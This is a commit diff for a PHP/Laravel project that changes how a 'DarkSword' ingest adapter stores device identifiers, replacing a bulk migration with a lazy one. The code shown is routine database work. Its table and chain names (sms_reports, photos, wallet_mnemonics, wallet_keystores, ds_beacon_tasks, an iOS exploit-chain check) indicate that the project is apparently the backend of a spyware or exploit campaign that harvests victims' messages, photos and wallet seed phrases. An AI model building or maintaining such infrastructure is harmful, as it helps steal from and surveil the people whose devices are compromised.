feat: 18
This commit is contained in:
@@ -278,6 +278,18 @@ class DarkSwordIngestAdapter
|
|||||||
$ua = substr((string) $request->userAgent(), 0, 2000);
|
$ua = substr((string) $request->userAgent(), 0, 2000);
|
||||||
|
|
||||||
$existing = Device::query()->where('device_id', $key)->first();
|
$existing = Device::query()->where('device_id', $key)->first();
|
||||||
|
// Lazy migration: if not found by dashed UUID, try plain hex (old format).
|
||||||
|
// When found, immediately update to dashed format so future lookups are direct.
|
||||||
|
if (! $existing && strlen($key) === 36) {
|
||||||
|
$plain = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $key) ?? '');
|
||||||
|
if ($plain !== '' && $plain !== $key) {
|
||||||
|
$existing = Device::query()->where('device_id', $plain)->first();
|
||||||
|
if ($existing) {
|
||||||
|
$existing->device_id = $key;
|
||||||
|
$existing->saveQuietly();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
if ($ios !== null) {
|
if ($ios !== null) {
|
||||||
$chain = PageVisit::isDarkSwordIosVersionString($ios)
|
$chain = PageVisit::isDarkSwordIosVersionString($ios)
|
||||||
? Device::CHAIN_DARKSWORD
|
? Device::CHAIN_DARKSWORD
|
||||||
|
|||||||
@@ -1,135 +1,26 @@
|
|||||||
<?php
|
<?php
|
||||||
|
|
||||||
use Illuminate\Database\Migrations\Migration;
|
use Illuminate\Database\Migrations\Migration;
|
||||||
use Illuminate\Support\Facades\DB;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Convert existing 32-char plain-hex device identifiers to the canonical
|
* Originally converted plain-hex device IDs to dashed UUID format in bulk.
|
||||||
* dashed UUID format (8-4-4-4-12, uppercase) so that storage and display
|
|
||||||
* are always the same format across devices, page_visits, and ds_chain_logs.
|
|
||||||
*
|
*
|
||||||
* Only 32-char hex values are real UUIDs — shorter IDs (e.g. old xxbb
|
* This is now handled lazily by DarkSwordIngestAdapter::upsertDevice():
|
||||||
* 16-hex device IDs) are left untouched.
|
* when an old device (stored in plain hex) reports again, it is found by
|
||||||
|
* the plain-hex fallback and immediately updated to the dashed format.
|
||||||
*
|
*
|
||||||
* If a plain-hex device and a dashed device coexist (because the dashed
|
* The migration is kept as a no-op so it records as "ran" without touching
|
||||||
* one was created by DarkSwordIngestAdapter after normalizeDarkswordKey was
|
* historical data.
|
||||||
* introduced), the plain-hex duplicate is merged into the dashed one: all
|
|
||||||
* child rows (photos, events, apps, …) are reparented to the dashed device,
|
|
||||||
* then the plain-hex row is deleted.
|
|
||||||
*
|
|
||||||
* Processes in chunks to stay within memory limits on large tables.
|
|
||||||
*/
|
*/
|
||||||
return new class extends Migration
|
return new class extends Migration
|
||||||
{
|
{
|
||||||
/** Tables that reference devices.id via device_id FK. */
|
|
||||||
private const CHILD_TABLES = [
|
|
||||||
'device_apps',
|
|
||||||
'device_events',
|
|
||||||
'ds_beacon_tasks',
|
|
||||||
'notes',
|
|
||||||
'photos',
|
|
||||||
'plugin_sessions',
|
|
||||||
'sms_reports',
|
|
||||||
'wallet_addresses',
|
|
||||||
'wallet_keystores',
|
|
||||||
'wallet_mnemonics',
|
|
||||||
];
|
|
||||||
|
|
||||||
private const CHUNK_SIZE = 1000;
|
|
||||||
|
|
||||||
private function dashedKey(string $plain): ?string
|
|
||||||
{
|
|
||||||
$hex = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $plain) ?? '');
|
|
||||||
if (strlen($hex) !== 32) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
return substr($hex, 0, 8).'-'.substr($hex, 8, 4).'-'.substr($hex, 12, 4).'-'.substr($hex, 16, 4).'-'.substr($hex, 20, 12);
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Returns true if the given string is a 32-char plain hex value
|
|
||||||
* (no dashes) — i.e. the "before" state that needs conversion.
|
|
||||||
*/
|
|
||||||
private function isPlainHex(string $value): bool
|
|
||||||
{
|
|
||||||
$trimmed = strtoupper(trim($value));
|
|
||||||
|
|
||||||
return strlen($trimmed) === 32 && ctype_xdigit($trimmed);
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Chunked conversion for tables without FK conflicts (page_visits, ds_chain_logs).
|
|
||||||
*/
|
|
||||||
private function convertColumn(string $table, string $column): void
|
|
||||||
{
|
|
||||||
DB::table($table)->orderBy('id')->chunk(self::CHUNK_SIZE, function ($rows) use ($table, $column) {
|
|
||||||
foreach ($rows as $row) {
|
|
||||||
$value = (string) $row->{$column};
|
|
||||||
if (! $this->isPlainHex($value)) {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
$dashed = $this->dashedKey($value);
|
|
||||||
if ($dashed !== null) {
|
|
||||||
DB::table($table)->where('id', $row->id)->update([$column => $dashed]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Merge the plain-hex device (loser) into the dashed device (winner):
|
|
||||||
* reparent all child rows, then delete the loser.
|
|
||||||
*/
|
|
||||||
private function mergeDevice(int $loserId, int $winnerId): void
|
|
||||||
{
|
|
||||||
foreach (self::CHILD_TABLES as $table) {
|
|
||||||
DB::table($table)->where('device_id', $loserId)->update(['device_id' => $winnerId]);
|
|
||||||
}
|
|
||||||
DB::table('devices')->where('id', $loserId)->delete();
|
|
||||||
}
|
|
||||||
|
|
||||||
private function convertDevices(): void
|
|
||||||
{
|
|
||||||
DB::table('devices')->orderBy('id')->chunk(self::CHUNK_SIZE, function ($rows) {
|
|
||||||
foreach ($rows as $row) {
|
|
||||||
$value = (string) $row->device_id;
|
|
||||||
if (! $this->isPlainHex($value)) {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
$dashed = $this->dashedKey($value);
|
|
||||||
if ($dashed === null) {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
$existing = DB::table('devices')->where('device_id', $dashed)->first(['id']);
|
|
||||||
if ($existing && $existing->id !== $row->id) {
|
|
||||||
$this->mergeDevice($row->id, $existing->id);
|
|
||||||
} else {
|
|
||||||
DB::table('devices')->where('id', $row->id)->update(['device_id' => $dashed]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
public function up(): void
|
public function up(): void
|
||||||
{
|
{
|
||||||
$this->convertDevices();
|
// no-op — lazy migration in DarkSwordIngestAdapter::upsertDevice()
|
||||||
$this->convertColumn('page_visits', 'client_uid');
|
|
||||||
$this->convertColumn('ds_chain_logs', 'client_uid');
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public function down(): void
|
public function down(): void
|
||||||
{
|
{
|
||||||
foreach (['devices' => 'device_id', 'page_visits' => 'client_uid', 'ds_chain_logs' => 'client_uid'] as $table => $column) {
|
// no-op
|
||||||
DB::table($table)->orderBy('id')->chunk(self::CHUNK_SIZE, function ($rows) use ($table, $column) {
|
|
||||||
foreach ($rows as $row) {
|
|
||||||
$plain = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', (string) $row->{$column}) ?? '');
|
|
||||||
if (strlen($plain) === 32) {
|
|
||||||
DB::table($table)->where('id', $row->id)->update([$column => $plain]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|||||||
Reference in New Issue
Block a user